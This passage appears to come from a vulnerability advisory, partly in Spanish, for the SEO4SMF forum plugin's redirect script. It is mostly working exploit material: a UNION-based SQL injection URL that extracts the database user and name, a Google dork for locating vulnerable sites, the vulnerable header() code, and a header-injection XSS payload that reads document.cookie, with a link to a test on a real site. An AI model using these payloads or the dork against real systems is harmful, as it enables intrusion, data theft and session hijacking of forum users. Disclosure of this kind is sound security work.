Now execute the proof of concept:
http://localhost/smf/seo4smf-redirect.php?t=-1 union select 1,2,3…(numero de columnas)…,concat(username(),database()) –
GoogleDorks: http://www.google.cl/search?hl=es&q=allinurl%3Aseo4smf-redirect.php&btnG=Buscar+con+Google&meta=

header <http://www.php.net/header>('Location: '.$url);
exit <http://www.php.net/exit>;
}


The proof of concept:
http://localhost/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);
Real test: http://www.jccharry.com/archivos_publicos/xss_seo4smf.png
